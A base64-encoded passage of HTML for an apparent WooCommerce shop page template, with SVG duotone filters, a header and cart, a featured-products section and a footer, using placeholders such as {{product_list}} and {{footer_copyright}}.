c1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjU0OTAxOTYwNzg0MzE0IDAuOTg4MjM1Mjk0MTE3NjUiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC43MTc2NDcwNTg4MjM1MyAwLjI1NDkwMTk2MDc4NDMxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1ibHVlLXJlZCI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC4yNzg0MzEzNzI1NDkwMiIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC41OTIxNTY4NjI3NDUxIDAuMjc4NDMxMzcyNTQ5MDIiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLW1pZG5pZ2h0Ij4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMCIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjY0NzA1ODgyMzUyOTQxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLW1hZ2VudGEteWVsbG93Ij4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNzgwMzkyMTU2ODYyNzUgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjk0OTAxOTYwNzg0MzE0Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjM1Mjk0MTE3NjQ3MDU5IDAuNDcwNTg4MjM1Mjk0MTIiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLXB1cnBsZS1ncmVlbiI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjY1MDk4MDM5MjE1Njg2IDAuNDAzOTIxNTY4NjI3NDUiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC40NDcwNTg4MjM1Mjk0MSAwLjQiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWJsdWUtb3JhbmdlIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuMDk4MDM5MjE1Njg2Mjc1IDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC42NjI3NDUwOTgwMzkyMiIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC44NDcwNTg4MjM1Mjk0MSAwLjQxOTYwNzg0MzEzNzI1Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxkaXYgY2xhc3M9InBhZ2Utd3JhcHBlciBzaWRlLW5hdiI+PCEtLSBwYWdlIHdyYXBwZXIgLS0+DQoNCiAgICA8IS0tIGhlYWRlciB3cmFwcGVyIC0tPg0KICAgIDxkaXYgY2xhc3M9ImhlYWRlci13cmFwcGVyIGZpeGVkLWhlYWRlciBoZWFkZXItc2lkZS1uYXYgc2lkZS1uYXYtd3JhcCI+DQogICAgICAgIDxoZWFkZXIgaWQ9ImhlYWRlciIgY2xhc3M9ImhlYWRlci1zaWRlIHN0aWNreS1tZW51LWhlYWRlciIgZGF0YS1wbHVnaW4tc3RpY2t5DQogICAgICAgICAgICAgICAgZGF0YS1wbHVnaW4tb3B0aW9ucz0ieyZxdW90O2F1dG9Jbml0JnF1b3Q7OiB0cnVlLCAmcXVvdDttaW5XaWR0aCZxdW90OzogOTkyLCAmcXVvdDtjb250YWluZXJTZWxlY3RvciZxdW90OzogJnF1b3Q7LnBhZ2Utd3JhcHBlciZxdW90OywmcXVvdDthdXRvRml0JnF1b3Q7OnRydWUsICZxdW90O3BhZGRpbmdPZmZzZXRCb3R0b20mcXVvdDs6IDAsICZxdW90O3BhZGRpbmdPZmZzZXRUb3AmcXVvdDs6IDB9Ij4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRlci1tYWluIHNob3ctbWluaWNhcnQiPg0KDQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJzaWRlYmFyLW1lbnUiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7cHJvZHVjdF9jYXRlZ29yeX19DQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9Im1vYmlsZS10b2dnbGUiIGFyaWEtbGFiZWw9Ik1vYmlsZSBNZW51IiBocmVmPSIjIj48aSBjbGFzcz0iZmFzIGZhLWJhcnMiPjwvaT48L2E+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQteGwtbm9uZSBkLWxnLW5vbmUgaW5saW5lLWJsb2NrIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJtaW5pLWNhcnQiIGNsYXNzPSJtaW5pLWNhcnQgc2ltcGxlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FydC1oZWFkIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjYXJ0LWljb24iPjxpIGNsYXNzPSJtaW5pY2FydC1pY29uIHBvcnRvLWljb24tc2hvcHBpbmctY2FydCI+PC9pPjxzcGFuDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zIj4wPC9zcGFuPjwvc3Bhbj48c3Bhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJjYXJ0LWl0ZW1zLXRleHQiPjAgaXRlbXM8L3NwYW4+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtcG9wdXAgd2lkZ2V0X3Nob3BwaW5nX2NhcnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2lkZ2V0X3Nob3BwaW5nX2NhcnRfY29udGVudCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FydC1sb2FkaW5nIj48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDwvaGVhZGVyPg0KDQogICAgPC9kaXY+DQogICAgPCEtLSBlbmQgaGVhZGVyIHdyYXBwZXIgLS0+DQoNCiAgICA8ZGl2IGNsYXNzPSJjb250ZW50LXdyYXBwZXIiPg0KDQoNCiAgICAgICAgPGRpdiBpZD0ibWFpbiIgY2xhc3M9ImNvbHVtbjEgd2lkZSBjbGVhcmZpeCBuby1icmVhZGNydW1icyI+PCEtLSBtYWluIC0tPg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBtYWluLWNvbnRlbnQtd3JhcCI+DQoNCiAgICAgICAgICAgICAgICAgICAgPCEtLSBtYWluIGNvbnRlbnQgLS0+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1haW4tY29udGVudCBjb2wtbGctMTIiPg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9ImNvbnRlbnQiIHJvbGU9Im1haW4iPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGFydGljbGUgY2xhc3M9InBvc3QtMTQzIHBhZ2UgdHlwZS1wYWdlIHN0YXR1cy1wdWJsaXNoIGhlbnRyeSI+DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBkYXRhLWVsZW1lbnRvci10eXBlPSJ3cC1wYWdlIiBkYXRhLWVsZW1lbnRvci1pZD0iMTQzIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iZWxlbWVudG9yIGVsZW1lbnRvci0xNDMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWN0aW9uDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iZWxlbWVudG9yLXNlY3Rpb24gZWxlbWVudG9yLXRvcC1zZWN0aW9uIGVsZW1lbnRvci1lbGVtZW50IGVsZW1lbnRvci1lbGVtZW50LTQxODEzNmEgZWxlbWVudG9yLXNlY3Rpb24tZnVsbF93aWR0aCBwLXQteGwgcC1iLW1kIGVsZW1lbnRvci1zZWN0aW9uLWhlaWdodC1kZWZhdWx0IGVsZW1lbnRvci1zZWN0aW9uLWhlaWdodC1kZWZhdWx0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YS1pZD0iNDE4MTM2YSIgZGF0YS1lbGVtZW50X3R5cGU9InNlY3Rpb24iPg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVsZW1lbnRvci1jb250YWluZXIgZWxlbWVudG9yLWNvbHVtbi1nYXAtZGVmYXVsdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlbGVtZW50b3ItY29sdW1uIGVsZW1lbnRvci1jb2wtMTAwIGVsZW1lbnRvci10b3AtY29sdW1uIGVsZW1lbnRvci1lbGVtZW50IGVsZW1lbnRvci1lbGVtZW50LWRkNjI4NDQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtaWQ9ImRkNjI4NDQiIGRhdGEtZWxlbWVudF90eXBlPSJjb2x1bW4iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVsZW1lbnRvci13aWRnZXQtd3JhcCBlbGVtZW50b3ItZWxlbWVudC1wb3B1bGF0ZWQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlbGVtZW50b3ItZWxlbWVudCBlbGVtZW50b3ItZWxlbWVudC02ODIyZmJlIG1iLTQgZWxlbWVudG9yLXdpZGdldCBlbGVtZW50b3Itd2lkZ2V0LXBvcnRvX3Byb2R1Y3RzIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtaWQ9IjY4MjJmYmUiIGRhdGEtZWxlbWVudF90eXBlPSJ3aWRnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YS1zZXR0aW5ncz0ieyZxdW90O3NwYWNpbmcmcXVvdDs6eyZxdW90O3VuaXQmcXVvdDs6JnF1b3Q7cHgmcXVvdDssJnF1b3Q7c2l6ZSZxdW90OzomcXVvdDsmcXVvdDssJnF1b3Q7c2l6ZXMmcXVvdDs6W119fSINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhLXdpZGdldF90eXBlPSJwb3J0b19wcm9kdWN0cy5kZWZhdWx0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVsZW1lbnRvci13aWRnZXQtY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJwb3J0by1wcm9kdWN0cy02ODgzIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9InBvcnRvLXByb2R1Y3RzIHdwYl9jb250ZW50X2VsZW1lbnQgZGVmYXVsdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMiBjbGFzcz0ic2VjdGlvbi10aXRsZSI+RkVBVFVSRUQgUFJPRFVDVFM8L2gyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3b29jb21tZXJjZSBjb2x1bW5zLTUgIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0icHJvZHVjdHMgcHJvZHVjdHMtY29udGFpbmVyIGdyaWQgcGNvbHMtbGctNSBwY29scy1tZC00IHBjb2xzLXhzLTMgcGNvbHMtbHMtMiBwd2lkdGgtbGctNSBwd2lkdGgtbWQtNCBwd2lkdGgteHMtMyBwd2lkdGgtbHMtMiBpcy1zaG9ydGNvZGUiIGRhdGEtcHJvZHVjdF9sYXlvdXQ9InByb2R1Y3QtZGVmYXVsdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3twcm9kdWN0X2xpc3R9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYXJ0aWNsZT4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIGNvbnRlbnQgLS0+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci1vdmVybGF5Ij48L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCg0KICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIC0tPg0KDQoNCiAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyLXdyYXBwZXIiPg0KDQogICAgICAgICAgICA8ZGl2IGlkPSJmb290ZXIiIGNsYXNzPSJmb290ZXIgZm9vdGVyLTMiDQogICAgICAgICAgICA+DQoNCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItYm90dG9tIj4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2Zvb3Rlcl9jb3B5cmlnaHR9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1yaWdodCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUgZm9vdGVyLXBheW1lbnQtaW1nIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3JjPSIvd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDEvc2hvcDEwX3BheW1lbnQtMS5wbmciIGFsdD0iUGF5bWVudCBHYXRld2F5cyIvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KDQogICAgICAgIDwvZGl2Pg0KDQogICAgPC9kaXY+DQoNCjwvZGl2PjwhLS0gZW5kIHdyYXBwZXIgLS0+DQoNCjxkaXYgY2xhc3M9InBhbmVsLW92ZXJsYXkiPjwvZGl2Pg0KPGRpdiBpZD0ic2lkZS1uYXYtcGFuZWwiIGNsYXNzPSIiPg0KICAgIDxhIGhyZWY9IiMiIGFyaWEtbGFiZWw9Ik1vYmlsZSBDbG9zZSIgY2xhc3M9InNpZGUtbmF2LXBhbmVsLWNsb3NlIj48aSBjbGFzcz0iZmFzIGZhLXRpbWVzIj48L2k+PC9hPg0KICAgIDxkaXYgY2xhc3M9InN3aXRjaGVyLXdyYXAiPjwvZGl2Pg0KICAgIDxkaXYgY2xhc3M9Im1lbnUtd3JhcCI+PHVsIGlkPSJtZW51LW1haW4tbWVudS0xIiBjbGFzcz0ibW9iaWxlLW1lbnUgYWNjb3JkaW9uLW1lbnUiPnt7cHJvZHVjdF9jYXRlZ29yeV9tb2JpbGV9fTwvdWw+PC9kaXY+DQogICAgPGRpdiBjbGFzcz0ic2hhcmUtbGlua3MiPjxhIHRhcmdldD0iX2JsYW5rIiByZWw9Im5vZm9sbG93IG5vb3BlbmVyIG5vcmVmZXJyZXIiIGNsYXNzPSJzaGFyZS1mYWNlYm9vayIgaHJlZj0iIyINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGl0bGU9IkZhY2Vib29rIj48L2E+DQogICAgICAgIDxhIHRhcmdldD0iX2JsYW5rIiByZWw9Im5vZm9sbG93IG5vb3BlbmVyIG5vcmVmZXJyZXIiI